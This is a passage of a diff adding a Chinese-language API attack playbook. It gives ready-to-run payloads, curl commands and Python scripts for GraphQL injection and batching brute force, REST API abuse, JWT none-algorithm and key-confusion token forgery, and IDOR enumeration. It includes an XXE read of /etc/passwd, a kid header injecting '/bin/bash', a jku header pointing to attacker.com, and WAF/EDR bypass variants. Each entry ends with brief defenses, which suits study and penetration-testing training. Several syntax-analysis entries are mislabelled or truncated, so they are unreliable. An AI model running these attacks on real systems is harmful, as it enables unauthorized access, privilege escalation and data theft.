+ curl -X POST http://target.com/graphql \
154
+ -H "Content-Type: application/json" \
155
+ -d '{"query": "{ __schema { types { name } } }"}'
156
+ ```
157
+ **语法解析:**
158
+ - `<!ENTITY>` — 实体定义 _tag_
159
+ - `SYSTEM` — 外部实体 _keyword_
160
+ - `file://` — 文件协议 _technique_
161
+
162
+ **2. 内省查询**
163
+ > 执行内省查询获取API结构
164
+ ```
165
+ # 完整内省查询
166
+ {
167
+ __schema {
168
+ types {
169
+ name
170
+ kind
171
+ description
172
+ fields {
173
+ name
174
+ type {
175
+ name
176
+ }
177
+ args {
178
+ name
179
+ type {
180
+ name
181
+ }
182
+ }
183
+ }
184
+ }
185
+ }
186
+ }
187
+
188
+ # 使用工具
189
+ gqlscan -u http://target.com/graphql
190
+ inql -t http://target.com/graphql
191
+ ```
192
+ **语法解析:**
193
+ - `__schema` — 获取整个API架构 _value_
194
+ - `fields` — 获取类型的所有字段 _value_
195
+ - `args` — 获取字段参数 _value_
196
+
197
+ **3. 批量查询攻击**
198
+ > 使用批量查询绕过限制
199
+ ```
200
+ # 别名批量查询
201
+ {
202
+ user1: user(id: 1) { name email }
203
+ user2: user(id: 2) { name email }
204
+ user3: user(id: 3) { name email }
205
+ user4: user(id: 4) { name email }
206
+ }
207
+
208
+ # 批量查询绕过速率限制
209
+ [
210
+ {"query": "{ user(id: 1) { name } }"},
211
+ {"query": "{ user(id: 2) { name } }"},
212
+ {"query": "{ user(id: 3) { name } }"}
213
+ ]
214
+ ```
215
+ **语法解析:**
216
+ - `user1: user(id: 1)` — 使用别名同时查询多个用户 _value_
217
+ - `[{},{},{}]` — 数组形式批量查询 _value_
218
+
219
+ **4. SQL注入**
220
+ > GraphQL中的SQL注入
221
+ ```
222
+ # GraphQL中的SQL注入
223
+ {
224
+ user(name: "admin' OR '1'='1") {
225
+ id
226
+ name
227
+ password
228
+ }
229
+ }
230
+
231
+ # 通过参数注入
232
+ mutation {
233
+ createUser(input: {
234
+ name: "test' OR 1=1--"
235
+ }) {
236
+ id
237
+ }
238
+ }
239
+ ```
240
+
241
+ **5. NoSQL注入**
242
+ > GraphQL中的NoSQL注入
243
+ ```
244
+ # MongoDB注入
245
+ {
246
+ user(filter: {
247
+ $or: [{name: "admin"}, {name: "root"}]
248
+ }) {
249
+ name
250
+ password
251
+ }
252
+ }
253
+
254
+ # 通过JSON注入
255
+ {
256
+ search(text: "{\"$ne\": \"\"}") {
257
+ results
258
+ }
259
+ }
260
+ ```
261
+ **语法解析:**
262
+ - `$or` — MongoDB逻辑运算符 _variable_
263
+ - `$ne` — 不等于操作符 _variable_
264
+
265
+ **6. 信息泄露**
266
+ > 获取隐藏字段和敏感信息
267
+ ```
268
+ # 获取隐藏字段
269
+ {
270
+ user(id: 1) {
271
+ name
272
+ email
273
+ password
274
+ apiKey
275
+ secretKey
276
+ token
277
+ __typename
278
+ }
279
+ }
280
+
281
+ # 枚举所有可能字段
282
+ {
283
+ __type(name: "User") {
284
+ fields {
285
+ name
286
+ type {
287
+ name
288
+ kind
289
+ }
290
+ }
291
+ }
292
+ }
293
+ ```
294
+ **语法解析:**
295
+ - `__typename` — 获取对象类型名称 _value_
296
+ - `__type` — 查询特定类型信息 _value_
297
+
298
+ **WAF/EDR 绕过变体:**
299
+
300
+ **字段建议绕过**
301
+ > 利用字段建议和片段枚举
302
+ ```
303
+ # 利用字段建议功能
304
+ query {
305
+ userr(id: 1) { name }
306
+ }
307
+ # 返回: Did you mean "user"?
308
+
309
+ # 枚举隐藏字段
310
+ query {
311
+ user(id: 1) {
312
+ __typename
313
+ ...on AdminUser {
314
+ adminSecret
315
+ }
316
+ }
317
+ }
318
+ ```
319
+ **语法解析:**
320
+ - `...on AdminUser` — GraphQL内联片段 _value_
321
+
322
+ **指令注入**
323
+ > 使用GraphQL指令绕过
324
+ ```
325
+ # 使用指令绕过
326
+ query {
327
+ user(id: 1) @deprecated {
328
+ name
329
+ }
330
+ }
331
+
332
+ # 自定义指令攻击
333
+ mutation @skip(if: false) {
334
+ deleteUser(id: 1)
335
+ }
336
+ ```
337
+ **语法解析:**
338
+ - `@deprecated` — 弃用指令 _value_
339
+ - `@skip` — 条件跳过指令 _value_
340
+
341
+
342
+ **概述:** GraphQL注入攻击利用GraphQL查询语言的灵活性进行信息泄露和数据操纵,包括深度嵌套查询(DoS)、字段建议泄露Schema信息、变量注入绕过查询限制、以及通过别名实现批量查询等。
343
+
344
+ **漏洞原理:** GraphQL特有漏洞:1)嵌套查询DoS(深度嵌套导致指数级数据库查询) 2)字段建议泄露(拼写错误时返回相似字段名) 3)别名批量查询(一次请求查询数千条记录) 4)变量类型不匹配绕过输入校验 5)指令注入(@skip/@include滥用)。
345
+
346
+ **利用方法:** 完整利用流程:
347
+ 1. 探测GraphQL端点
348
+ 2. 执行内省查询获取API结构
349
+ 3. 分析敏感字段和操作
350
+ 4. 构造注入payload
351
+ 5. 批量查询绕过限制
352
+
353
+ **防御措施:** 防御措施:
354
+ 1. 生产环境禁用内省
355
+ 2. 实施输入验证
356
+ 3. 限制查询深度和复杂度
357
+ 4. 实施认证授权
358
+ 5. 限制批量查询
359
+
360
+ ---
361
+
362
+ ### GraphQL内省攻击 `graphql-introspection`
363
+ _利用GraphQL内省功能获取API结构_
364
+ 子类:**GraphQL内省** · tags: `graphql` `introspection` `enumeration` `api`
365
+
366
+ **前置条件:**
367
+ - 目标使用GraphQL
368
+ - 内省功能未禁用
369
+
370
+ **攻击链:**
371
+
372
+ **1. 基础内省**
373
+ > 基础内省查询
374
+ ```
375
+ # 获取所有类型
376
+ {
377
+ __schema {
378
+ types {
379
+ name
380
+ }
381
+ }
382
+ }
383
+
384
+ # 获取查询类型
385
+ {
386
+ __schema {
387
+ queryType {
388
+ name
389
+ fields {
390
+ name
391
+ description
392
+ }
393
+ }
394
+ }
395
+ }
396
+ ```
397
+ **语法解析:**
398
+ - `__schema` — GraphQL元数据根 _value_
399
+ - `queryType` — 获取所有查询操作 _value_
400
+
401
+ **2. 完整内省**
402
+ > 完整内省查询获取所有信息
403
+ ```
404
+ # 获取完整API结构
405
+ query IntrospectionQuery {
406
+ __schema {
407
+ queryType { name }
408
+ mutationType { name }
409
+ subscriptionType { name }
410
+ types {
411
+ ...FullType
412
+ }
413
+ directives {
414
+ name
415
+ description
416
+ locations
417
+ args {
418
+ ...InputValue
419
+ }
420
+ }
421
+ }
422
+ }
423
+ fragment FullType on __Type {
424
+ kind
425
+ name
426
+ description
427
+ fields(includeDeprecated: true) {
428
+ name
429
+ description
430
+ args {
431
+ ...InputValue
432
+ }
433
+ type {
434
+ ...TypeRef
435
+ }
436
+ isDeprecated
437
+ deprecationReason
438
+ }
439
+ inputFields {
440
+ ...InputValue
441
+ }
442
+ interfaces {
443
+ ...TypeRef
444
+ }
445
+ enumValues(includeDeprecated: true) {
446
+ name
447
+ description
448
+ isDeprecated
449
+ deprecationReason
450
+ }
451
+ possibleTypes {
452
+ ...TypeRef
453
+ }
454
+ }
455
+ fragment InputValue on __InputValue {
456
+ name
457
+ description
458
+ type {
459
+ ...TypeRef
460
+ }
461
+ defaultValue
462
+ }
463
+ fragment TypeRef on __Type {
464
+ kind
465
+ name
466
+ ofType {
467
+ kind
468
+ name
469
+ ofType {
470
+ kind
471
+ name
472
+ ofType {
473
+ kind
474
+ name
475
+ ofType {
476
+ kind
477
+ name
478
+ ofType {
479
+ kind
480
+ name
481
+ ofType {
482
+ kind
483
+ name
484
+ }
485
+ }
486
+ }
487
+ }
488
+ }
489
+ }
490
+ }
491
+ ```
492
+ **语法解析:**
493
+ - `fragment` — GraphQL片段定义 _value_
494
+ - `includeDeprecated` — 包含已弃用字段 _encoding_
495
+
496
+ **3. 使用工具分析**
497
+ > 使用工具分析GraphQL
498
+ ```
499
+ # GraphQL Voyager - 可视化分析
500
+ # https://github.com/APIs-guru/graphql-voyager
501
+
502
+ # 使用CLI工具
503
+ npm install -g graphql-cli
504
+ graphql-cli introspect http://target.com/graphql
505
+
506
+ # InQL扫描
507
+ pip install inql
508
+ inql -t http://target.com/graphql
509
+
510
+ # GraphQL Cop
511
+ npm install -g graphql-cop
512
+ graphql-cop -t http://target.com/graphql
513
+ ```
514
+
515
+ **WAF/EDR 绕过变体:**
516
+
517
+ **绕过内省禁用**
518
+ > 绕过内省禁用检测
519
+ ```
520
+ # 某些实现只检查特定字符串
521
+ # 尝试不同格式
522
+ query { __schema { types { name } } }
523
+ query IntrospectionQuery { __schema { types { name } } }
524
+ {"query":"{__schema{types{name}}}"
525
+
526
+ # 使用GET请求
527
+ curl "http://target.com/graphql?query={__schema{types{name}}}"
528
+ ```
529
+
530
+
531
+ **概述:** GraphQL内省(Introspection)是GraphQL规范内置的Schema自描述功能,允许客户端查询API的完整类型系统、字段定义和参数信息。在生产环境未禁用时将泄露所有API结构信息。
532
+
533
+ **漏洞原理:** GraphQL内省通过__schema/__type查询获取:所有类型(Types)和字段(Fields)定义、查询(Query)/变更(Mutation)/订阅(Subscription)的完整接口、字段参数和返回类型、枚举值、接口和联合类型等,等同于泄露完整API文档。
534
+
535
+ **利用方法:** 完整利用流程:
536
+ 1. 发送内省查询
537
+ 2. 分析返回的API结构
538
+ 3. 识别敏感操作和字段
539
+ 4. 构造恶意查询
540
+
541
+ **防御措施:** 防御GraphQL内省泄露:在生产环境禁用内省查询(大多数GraphQL框架支持配置),对__schema/__type查询实施访问控制(仅允许管理员),使用查询白名单(Persisted Queries)限制可执行的查询,部署GraphQL网关进行查询分析。
542
+
543
+ ---
544
+
545
+ ### GraphQL批量查询攻击 `graphql-batching`
546
+ _利用GraphQL批量查询绕过速率限制_
547
+ 子类:**GraphQL批量查询** · tags: `graphql` `batching` `rate-limit` `bypass`
548
+
549
+ **前置条件:**
550
+ - 目标使用GraphQL
551
+ - 存在速率限制
552
+
553
+ **攻击链:**
554
+
555
+ **1. 别名批量查询**
556
+ > 使用别名批量查询
557
+ ```
558
+ # 使用别名一次查询多个用户
559
+ query {
560
+ user1: user(id: 1) { name email password }
561
+ user2: user(id: 2) { name email password }
562
+ user3: user(id: 3) { name email password }
563
+ user4: user(id: 4) { name email password }
564
+ user5: user(id: 5) { name email password }
565
+ }
566
+
567
+ # 批量枚举
568
+ query {
569
+ users: allUsers(limit: 1000) { id name email }
570
+ }
571
+ ```
572
+ **语法解析:**
573
+ - `user1: user(id: 1)` — 别名定义 _value_
574
+ - `limit: 1000` — 限制返回数量 _value_
575
+
576
+ **2. 数组批量查询**
577
+ > 使用数组批量查询
578
+ ```
579
+ # 发送多个查询数组
580
+ [
581
+ {"query": "{ user(id: 1) { name } }"},
582
+ {"query": "{ user(id: 2) { name } }"},
583
+ {"query": "{ user(id: 3) { name } }"},
584
+ {"query": "{ user(id: 4) { name } }"}
585
+ ]
586
+
587
+ # 使用curl发送
588
+ curl -X POST http://target.com/graphql \
589
+ -H "Content-Type: application/json" \
590
+ -d '[{"query":"{user(id:1){name}}"},{"query":"{user(id:2){name}}"}]'
591
+ ```
592
+ **语法解析:**
593
+ - `[{},{},{}]` — JSON数组格式 _value_
594
+ - `query` — GraphQL查询字段 _value_
595
+
596
+ **3. 暴力破解**
597
+ > 批量暴力破解
598
+ ```
599
+ # 批量密码尝试
600
+ mutation {
601
+ attempt1: login(email: "admin@test.com", password: "password1") { token }
602
+ attempt2: login(email: "admin@test.com", password: "password2") { token }
603
+ attempt3: login(email: "admin@test.com", password: "password3") { token }
604
+ attempt4: login(email: "admin@test.com", password: "password4") { token }
605
+ attempt5: login(email: "admin@test.com", password: "password5") { token }
606
+ }
607
+
608
+ # 枚举用户
609
+ query {
610
+ check1: userExists(email: "admin@test.com")
611
+ check2: userExists(email: "root@test.com")
612
+ check3: userExists(email: "test@test.com")
613
+ }
614
+ ```
615
+ **语法解析:**
616
+ - `login` — 登录mutation _value_
617
+ - `userExists` — 用户存在检查查询 _value_
618
+
619
+ **WAF/EDR 绕过变体:**
620
+
621
+ **绕过批量限制**
622
+ > 绕过批量查询限制
623
+ ```
624
+ # 分散查询
625
+ # 使用不同的查询格式
626
+ query BatchQuery {
627
+ user1: user(id: 1) { ...UserFields }
628
+ user2: user(id: 2) { ...UserFields }
629
+ }
630
+ fragment UserFields on User {
631
+ name
632
+ email
633
+ }
634
+
635
+ # 使用变量批量
636
+ query GetUser($ids: [ID!]!) {
637
+ users(ids: $ids) {
638
+ name
639
+ email
640
+ }
641
+ }
642
+ ```
643
+ **语法解析:**
644
+ - `query{...}` — GraphQL查询 _format_
645
+
646
+
647
+ **概述:** GraphQL批量查询(Batching)允许在单个HTTP请求中发送多个查询操作,攻击者可利用此特性绕过基于请求频率的速率限制、进行暴力破解(OTP/密码)或发起批量数据查询。
648
+
649
+ **漏洞原理:** GraphQL批量查询攻击:1)在一个请求中发送数千个mutation操作暴力破解OTP/密码(绕过请求级速率限制) 2)使用alias在单个query中批量查询不同用户数据 3)数组形式batch查询([{query1},{query2},...])规避认证重试检测。
650
+
651
+ **利用方法:** 完整利用流程:
652
+ 1. 测试是否支持批量查询
653
+ 2. 使用别名或数组批量查询
654
+ 3. 绕过速率限制
655
+ 4. 批量枚举或暴力破解
656
+
657
+ **防御措施:** 防御措施:
658
+ 1. 限制批量查询数量
659
+ 2. 基于查询复杂度限流
660
+ 3. 实施查询深度限制
661
+ 4. 监控异常查询模式
662
+
663
+ ---
664
+
665
+ ### REST API安全测试 `rest-api-security`
666
+ _REST API安全测试与漏洞利用_
667
+ 子类:**REST API** · tags: `rest` `api` `security` `testing`
668
+
669
+ **前置条件:**
670
+ - 目标使用REST API
671
+ - 了解API端点
672
+
673
+ **攻击链:**
674
+
675
+ **1. API端点发现**
676
+ > 发现API端点
677
+ ```
678
+ # 常见API端点
679
+ /api/v1/users
680
+ /api/v2/products
681
+ /api/docs
682
+ /api/swagger.json
683
+ /api/openapi.json
684
+ /swagger-ui.html
685
+ /redoc
686
+
687
+ # 使用工具发现
688
+ ffuf -u http://target.com/api/FUZZ -w api_endpoints.txt
689
+ wfuzz -c -w api_wordlist.txt http://target.com/api/FUZZ
690
+ ```
691
+ **语法解析:**
692
+ - `/api/v1/` — API版本路径 _value_
693
+ - `/swagger.json` — Swagger文档 _path_
694
+
695
+ **2. 认证测试**
696
+ > 测试API认证
697
+ ```
698
+ # 测试未授权访问
699
+ curl http://target.com/api/v1/users
700
+
701
+ # 测试JWT
702
+ curl -H "Authorization: Bearer TOKEN" http://target.com/api/v1/users
703
+
704
+ # 测试API Key
705
+ curl -H "X-API-Key: key123" http://target.com/api/v1/users
706
+
707
+ # 测试Basic Auth
708
+ curl -u user:pass http://target.com/api/v1/users
709
+ ```
710
+ **语法解析:**
711
+ - `Authorization: Bearer` — Bearer Token认证 _header_
712
+ - `X-API-Key` — API Key认证头 _value_
713
+
714
+ **3. HTTP方法测试**
715
+ > 测试HTTP方法
716
+ ```
717
+ # 测试允许的HTTP方法
718
+ curl -X OPTIONS http://target.com/api/v1/users -v
719
+
720
+ # 尝试PUT修改
721
+ curl -X PUT -H "Content-Type: application/json" \
722
+ -d '{"name":"hacked"}' http://target.com/api/v1/users/1
723
+
724
+ # 尝试DELETE删除
725
+ curl -X DELETE http://target.com/api/v1/users/1
726
+
727
+ # 尝试PATCH部分更新
728
+ curl -X PATCH -H "Content-Type: application/json" \
729
+ -d '{"role":"admin"}' http://target.com/api/v1/users/1
730
+ ```
731
+ **语法解析:**
732
+ - `OPTIONS` — 获取支持的HTTP方法 _method_
733
+ - `PUT` — 创建或替换资源 _method_
734
+ - `PATCH` — 部分更新资源 _method_
735
+
736
+ **4. 参数污染**
737
+ > 测试参数污染
738
+ ```
739
+ # 参数污染测试
740
+ # 重复参数
741
+ /api/users?id=1&id=2
742
+ /api/users?name=admin&name=user
743
+
744
+ # 数组参数
745
+ /api/users?id[]=1&id[]=2
746
+ /api/users?name[0]=admin&name[1]=user
747
+
748
+ # JSON注入
749
+ /api/users?filter={"role":"admin"}
750
+ /api/users?sort=role&order=desc; SELECT SLEEP(5)--
751
+ ```
752
+ **语法解析:**
753
+ - `id=1&id=2` — 重复参数 _value_
754
+ - `id[]=1` — 数组参数 _value_
755
+
756
+ **5. 内容类型测试**
757
+ > 测试内容类型处理
758
+ ```
759
+ # 测试不同Content-Type
760
+ curl -H "Content-Type: application/xml" -d "<user><name>test</name></user>" http://target.com/api/users
761
+ curl -H "Content-Type: text/plain" -d "name=test" http://target.com/api/users
762
+ curl -H "Content-Type: application/x-www-form-urlencoded" -d "name=test" http://target.com/api/users
763
+
764
+ # XML外部实体
765
+ curl -H "Content-Type: application/xml" \
766
+ -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><name>&xxe;</name></user>' \
767
+ http://target.com/api/users
768
+ ```
769
+ **语法解析:**
770
+ - `Content-Type` — HTTP内容类型头 _value_
771
+ - `application/xml` — XML格式 _value_
772
+
773
+ **WAF/EDR 绕过变体:**
774
+
775
+ **API版本绕过**
776
+ > 使用不同API版本绕过
777
+ ```
778
+ # 尝试不同API版本
779
+ /api/v1/users # 可能已修复
780
+ /api/v2/users # 可能未修复
781
+ /api/users # 旧版本可能无保护
782
+
783
+ # 尝试内部API
784
+ /internal/api/users
785
+ /private/api/users
786
+ /_api/users
787
+ ```
788
+ **语法解析:**
789
+ - `# 尝试不同API版本
790
+ /api/v1/users # 可能已修复
791
+ /api/v2/users # 可能未修复
792
+ /api/users # 旧版` — 攻击载荷 _value_
793
+
794
+ **编码绕过**
795
+ > 使用编码绕过
796
+ ```
797
+ # URL编码
798
+ curl http://target.com/api/users/%31 # /users/1
799
+
800
+ # Unicode编码
801
+ curl http://target.com/api/users/%u0031
802
+
803
+ # 双重URL编码
804
+ curl http://target.com/api/users/%2531
805
+ ```
806
+ **语法解析:**
807
+ - `# URL编码
808
+ curl http://target.com/api/users/%31 # /users/1
809
+
810
+ # Unicode编码
811
+ curl h` — 攻击载荷 _value_
812
+
813
+
814
+ **概述:** REST API安全测试关注认证授权缺陷、输入验证不足、响应数据过度暴露、速率限制缺失等问题。API作为现代应用的核心,其安全性直接影响整个业务系统的数据安全。
815
+
816
+ **漏洞原理:** REST API常见漏洞:1)认证缺失(API端点无需认证即可访问) 2)BOLA/IDOR(通过遍历ID访问他人资源) 3)批量赋值(Mass Assignment,提交额外字段修改权限) 4)过度数据暴露(响应包含不必要的敏感字段) 5)缺乏速率限制。
817
+
818
+ **利用方法:** 完整利用流程:
819
+ 1. 发现API端点和文档
820
+ 2. 测试认证机制
821
+ 3. 测试HTTP方法
822
+ 4. 测试参数处理
823
+ 5. 测试内容类型
824
+ 6. 寻找注入点
825
+
826
+ **防御措施:** 防御措施:
827
+ 1. 实施严格的认证授权
828
+ 2. 限制HTTP方法
829
+ 3. 输入验证和过滤
830
+ 4. 速率限制
831
+ 5. API版本管理
832
+ 6. 安全的CORS配置
833
+
834
+ ---
835
+
836
+ ### JWT None算法攻击 `jwt-none-alg`
837
+ _利用JWT None算法绕过签名验证_
838
+ 子类:**JWT安全** · tags: `jwt` `none` `algorithm` `bypass`
839
+
840
+ **前置条件:**
841
+ - 目标使用JWT认证
842
+ - 服务器未正确验证算法
843
+
844
+ **攻击链:**
845
+
846
+ **1. 解码JWT**
847
+ > 解码JWT令牌
848
+ ```
849
+ # 在线解码
850
+ https://jwt.io
851
+
852
+ # 使用命令行
853
+ echo "HEADER" | base64 -d
854
+ echo "PAYLOAD" | base64 -d
855
+
856
+ # 使用Python
857
+ import jwt
858
+ decoded = jwt.decode(token, options={"verify_signature": False})
859
+ print(decoded)
860
+ ```
861
+ **语法解析:**
862
+ - `HEADER` — JWT头部,包含算法信息 _value_
863
+ - `PAYLOAD` — JWT载荷,包含用户数据 _value_
864
+
865
+ **2. 构造None算法Token**
866
+ > 构造None算法Token
867
+ ```
868
+ # 修改头部为none算法
869
+ # 原始头部
870
+ {"alg":"HS256","typ":"JWT"}
871
+
872
+ # 修改为
873
+ {"alg":"none","typ":"JWT"}
874
+ {"alg":"None","typ":"JWT"}
875
+ {"alg":"NONE","typ":"JWT"}
876
+ {"alg":"nOnE","typ":"JWT"}
877
+
878
+ # 使用Python构造
879
+ import base64, json
880
+ header = {"alg":"none","typ":"JWT"}
881
+ payload = {"sub":"admin","iat":1516239022}
882
+ token = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=") + "." + \
883
+ base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=") + "."
884
+ print(token)
885
+ ```
886
+ **语法解析:**
887
+ - `"alg":"none"` — 设置算法为none _value_
888
+ - `rstrip("=")` — 移除Base64填充 _value_
889
+
890
+ **3. 修改用户权限**
891
+ > 修改用户权限
892
+ ```
893
+ # 修改payload提权
894
+ # 原始payload
895
+ {"sub":"user","role":"user","iat":1516239022}
896
+
897
+ # 修改为
898
+ {"sub":"admin","role":"admin","iat":1516239022}
899
+
900
+ # 完整攻击
901
+ import base64, json
902
+ header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').decode().rstrip("=")
903
+ payload = base64.urlsafe_b64encode(b'{"sub":"admin","role":"admin"}').decode().rstrip("=")
904
+ token = header + "." + payload + "."
905
+ print(token)
906
+ ```
907
+ **语法解析:**
908
+ - `"role":"admin"` — 修改角色为管理员 _value_
909
+ - `"sub":"admin"` — 修改主体为admin _value_
910
+
911
+ **4. 发送恶意Token**
912
+ > 发送恶意Token
913
+ ```
914
+ # 使用curl发送
915
+ curl -H "Authorization: Bearer <MALICIOUS_TOKEN>" http://target.com/api/admin
916
+
917
+ # 空签名测试
918
+ curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9." http://target.com/api/admin
919
+ ```
920
+ **语法解析:**
921
+ - `Bearer` — Bearer认证方案 _value_
922
+ - `.` — 空签名部分 _value_
923
+
924
+ **WAF/EDR 绕过变体:**
925
+
926
+ **算法混淆**
927
+ > 尝试算法变体
928
+ ```
929
+ # 尝试不同变体
930
+ {"alg":"none"}
931
+ {"alg":"None"}
932
+ {"alg":"NONE"}
933
+ {"alg":"nOnE"}
934
+ {"alg":""}
935
+ {"alg":null}
936
+
937
+ # 移除alg字段
938
+ {"typ":"JWT"}
939
+ ```
940
+ **语法解析:**
941
+ - `#` — 命令/载荷起始 _command_
942
+ - ` 尝试不同变体
943
+ {"alg":"none"}
944
+ {"alg":"None"}
945
+ {"alg":"NONE"}
946
+ {"alg":"nOnE"}
947
+ {"alg":""}
948
+ {"alg":null}
949
+
950
+ # 移除alg字段
951
+ {"typ":"JWT"}` — 参数与载荷内容 _value_
952
+
953
+ **签名绕过**
954
+ > 签名绕过变体
955
+ ```
956
+ # 空签名
957
+ header.payload.
958
+
959
+ # 任意签名
960
+ header.payload.anysignature
961
+
962
+ # 使用原始签名
963
+ # 某些库会忽略签名验证
964
+ ```
965
+ **语法解析:**
966
+ - `#` — 命令/载荷起始 _command_
967
+ - ` 空签名
968
+ header.payload.
969
+
970
+ # 任意签名
971
+ header.payload.anysignature
972
+
973
+ # 使用原始签名
974
+ # 某些库会忽略签名验证` — 参数与载荷内容 _value_
975
+
976
+
977
+ **概述:** JWT None算法攻击利用某些JWT库接受alg字段为"none"的Token(表示不需要签名验证)。攻击者将Token的算法改为none并移除签名部分,篡改payload中的声明(如提升角色)后即可绕过认证。
978
+
979
+ **漏洞原理:** JWT None算法漏洞:1)将Header中的alg改为"none"/"None"/"NONE"/"nOnE"等变体 2)移除Token第三部分(签名)或置空 3)修改Payload中的用户角色/ID/权限声明 4)重新Base64编码后发送。支持none算法的库会跳过签名验证。
980
+
981
+ **利用方法:** 完整利用流程:
982
+ 1. 获取有效JWT Token
983
+ 2. 解码分析Token结构
984
+ 3. 修改算法为none
985
+ 4. 修改payload提权
986
+ 5. 移除或保留空签名
987
+ 6. 发送恶意Token
988
+
989
+ **防御措施:** 防御措施:
990
+ 1. 禁用none算法
991
+ 2. 严格验证算法类型
992
+ 3. 使用成熟的JWT库
993
+ 4. 验证签名不为空
994
+ 5. 设置token过期时间
995
+
996
+ ---
997
+
998
+ ### JWT密钥混淆攻击 `jwt-key-confusion`
999
+ _利用JWT算法混淆实现签名绕过_
1000
+ 子类:**JWT安全** · tags: `jwt` `algorithm` `confusion` `rs256`
1001
+
1002
+ **前置条件:**
1003
+ - 目标使用RS256算法
1004
+ - 可获取公钥
1005
+
1006
+ **攻击链:**
1007
+
1008
+ **1. 获取公钥**
1009
+ > 获取JWT公钥
1010
+ ```
1011
+ # 从证书获取
1012
+ curl -k https://target.com/.well-known/jwks.json
1013
+
1014
+ # 从SSL证书获取
1015
+ echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout
1016
+
1017
+ # 从JWT头部获取
1018
+ # 解码JWT头部,查找x5c或jku字段
1019
+
1020
+ # 常见公钥位置
1021
+ /.well-known/jwks.json
1022
+ /api/keys
1023
+ /public.key
1024
+ /pubkey.pem
1025
+ ```
1026
+ **语法解析:**
1027
+ - `jwks.json` — JSON Web Key Set _path_
1028
+ - `x5c` — X.509证书链 _value_
1029
+
1030
+ **2. 算法混淆攻击**
1031
+ > 算法混淆攻击
1032
+ ```
1033
+ # 将RS256改为HS256
1034
+ # 使用公钥作为HMAC密钥
1035
+
1036
+ import jwt
1037
+ import base64
1038
+
1039
+ # 获取公钥
1040
+ public_key = open("public.pem").read()
1041
+
1042
+ # 构造payload
1043
+ payload = {"sub":"admin","role":"admin"}
1044
+
1045
+ # 使用公钥作为HMAC密钥签名
1046
+ token = jwt.encode(payload, public_key, algorithm="HS256")
1047
+ print(token)
1048
+ ```
1049
+ **语法解析:**
1050
+ - `RS256` — RSA签名算法 _value_
1051
+ - `HS256` — HMAC签名算法 _value_
1052
+ - `公钥作为密钥` — 使用公钥作为HMAC密钥 _value_
1053
+
1054
+ **3. 发送恶意Token**
1055
+ > 发送恶意Token
1056
+ ```
1057
+ # 使用构造的Token
1058
+ curl -H "Authorization: Bearer <HS256_TOKEN>" http://target.com/api/admin
1059
+
1060
+ # Python脚本
1061
+ import requests
1062
+ headers = {"Authorization": f"Bearer {token}"}
1063
+ response = requests.get("http://target.com/api/admin", headers=headers)
1064
+ print(response.text)
1065
+ ```
1066
+ **语法解析:**
1067
+ - `curl` — HTTP请求工具 _command_
1068
+ - `-H` — 自定义请求头 _parameter_
1069
+ - `Authorization` — 认证头 _header_
1070
+
1071
+ **WAF/EDR 绕过变体:**
1072
+
1073
+ **kid注入**
1074
+ > 通过kid参数注入
1075
+ ```
1076
+ # kid参数注入
1077
+ # 修改JWT头部kid字段
1078
+ {"alg":"HS256","typ":"JWT","kid":"../../dev/null"}
1079
+
1080
+ # SQL注入kid
1081
+ {"alg":"HS256","typ":"JWT","kid":"key UNION SELECT secret--"}
1082
+
1083
+ # 命令注入kid
1084
+ {"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"}
1085
+ ```
1086
+ **语法解析:**
1087
+ - `kid` — Key ID,指定使用的密钥 _value_
1088
+
1089
+ **jku/x5u绕过**
1090
+ > 通过jku/x5u绕过
1091
+ ```
1092
+ # jku指向攻击者服务器
1093
+ {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/.well-known/jwks.json"}
1094
+
1095
+ # x5u指向攻击者证书
1096
+ {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
1097
+
1098
+ # 在攻击者服务器托管恶意密钥
1099
+ ```
1100
+ **语法解析:**
1101
+ - `jku` — JWK Set URL _value_
1102
+ - `x5u` — X.509 URL _value_
1103
+
1104
+
1105
+ **概述:** JWT密钥混淆(Algorithm Confusion)攻击将RS256(非对称)签名改为HS256(对称),然后使用公钥(通常可获取)作为HMAC密钥对Token签名,如果服务端使用同一密钥变量验证则攻击成功。
1106
+
1107
+ **漏洞原理:** JWT密钥混淆攻击原理:RS256用私钥签名/公钥验证,HS256用共享密钥签名/验证。当服务端代码用通用的"key"变量(存储公钥)进行验证时,攻击者将alg改为HS256,用公钥(可从/jwks.json或X509证书获取)签名Token即可通过验证。
1108
+
1109
+ **利用方法:** 完整利用流程:
1110
+ 1. 获取目标公钥
1111
+ 2. 将算法从RS256改为HS256
1112
+ 3. 使用公钥作为HMAC密钥签名
1113
+ 4. 发送恶意Token
1114
+
1115
+ **防御措施:** 防御措施:
1116
+ 1. 明确指定允许的算法
1117
+ 2. 不信任JWT中的alg字段
1118
+ 3. 使用白名单验证算法
1119
+ 4. 分离公钥和对称密钥验证逻辑
1120
+
1121
+ ---
1122
+
1123
+ ### IDOR不安全的直接对象引用 `api-idor`
1124
+ _利用IDOR漏洞访问未授权资源_
1125
+ 子类:**IDOR** · tags: `idor` `api` `authorization` `bypass`
1126
+
1127
+ **前置条件:**
1128
+ - 目标使用ID引用资源
1129
+ - 存在授权检查缺陷
1130
+
1131
+ **攻击链:**
1132
+
1133
+ **1. 识别ID参数**
1134
+ > 识别ID参数
1135
+ ```
1136
+ # 常见ID参数位置
1137
+ /api/users/123
1138
+ /api/orders?id=123
1139
+ /api/documents/abc-123
1140
+ /api/profile?user_id=123
1141
+
1142
+ # 观察响应
1143
+ # 记录不同ID返回的数据差异
1144
+ ```
1145
+ **语法解析:**
1146
+ - `/users/123` — URL路径中的ID _value_
1147
+ - `?id=123` — 查询参数中的ID _value_
1148
+
1149
+ **2. 枚举ID**
1150
+ > 枚举ID值
1151
+ ```
1152
+ # 数字ID枚举
1153
+ for i in $(seq 1 1000); do
1154
+ curl -H "Authorization: Bearer $TOKEN" "http://target.com/api/users/$i" >> output.txt
1155
+ done
1156
+
1157
+ # 使用Burp Intruder
1158
+ # Payload: Numbers 1-10000
1159
+ # GET /api/users/{id}
1160
+
1161
